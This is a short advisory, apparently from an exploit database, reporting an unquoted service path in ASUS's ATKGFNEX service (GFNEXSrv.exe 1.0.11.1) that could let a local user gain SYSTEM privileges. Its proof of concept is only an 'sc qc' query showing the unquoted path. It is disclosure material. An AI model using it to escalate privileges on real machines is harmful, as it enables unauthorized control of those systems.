ATKGFNEXSrv ATKGFNEX 1.0.11.1 Privilege Escalation

`# Exploit Title: ATKGFNEXSrv ATKGFNEX- Privilege Escalation Unquoted Service Path vulnerability  
# Date: 13/10/2016  
# Exploit Author : Cyril Vallicari  
# Vendor Homepage: www.asus.com  
# Version: 1.0.11.1  
# Tested on: Windows 7 x64 SP1 (but it should works on all windows version)  
  
The application suffers from an unquoted service path issue impacting the service 'ATKGFNEXSrv (GFNEXSrv.exe)' deployed as part of ATKGFNEX  
  
This could potentially allow an authorized but non-privileged local user to execute arbitrary code with system privileges.  
  
POC :  
  
  
C:\Users\Utilisateur>sc qc "ATKGFNEXSrv"  
[SC] QueryServiceConfig rA(c)ussite(s)  
  
SERVICE_NAME: ATKGFNEXSrv  
TYPE : 10 WIN32_OWN_PROCESS  
START_TYPE : 2 AUTO_START  
ERROR_CONTROL : 1 NORMAL  
BINARY_PATH_NAME : C:\Program Files (x86)\ASUS\ATK Package\ATKGFNEX\GFNEXSrv.exe  
LOAD_ORDER_GROUP : ShellSvcGroup  
TAG : 0  
DISPLAY_NAME : ATKGFNEX Service  
DEPENDENCIES : ASMMAP64  
SERVICE_START_NAME : LocalSystem  
  
Additional notes :  
  
https://hackerone.com/blog/asus-vulnerability-disclosure-deja-vu  
  
`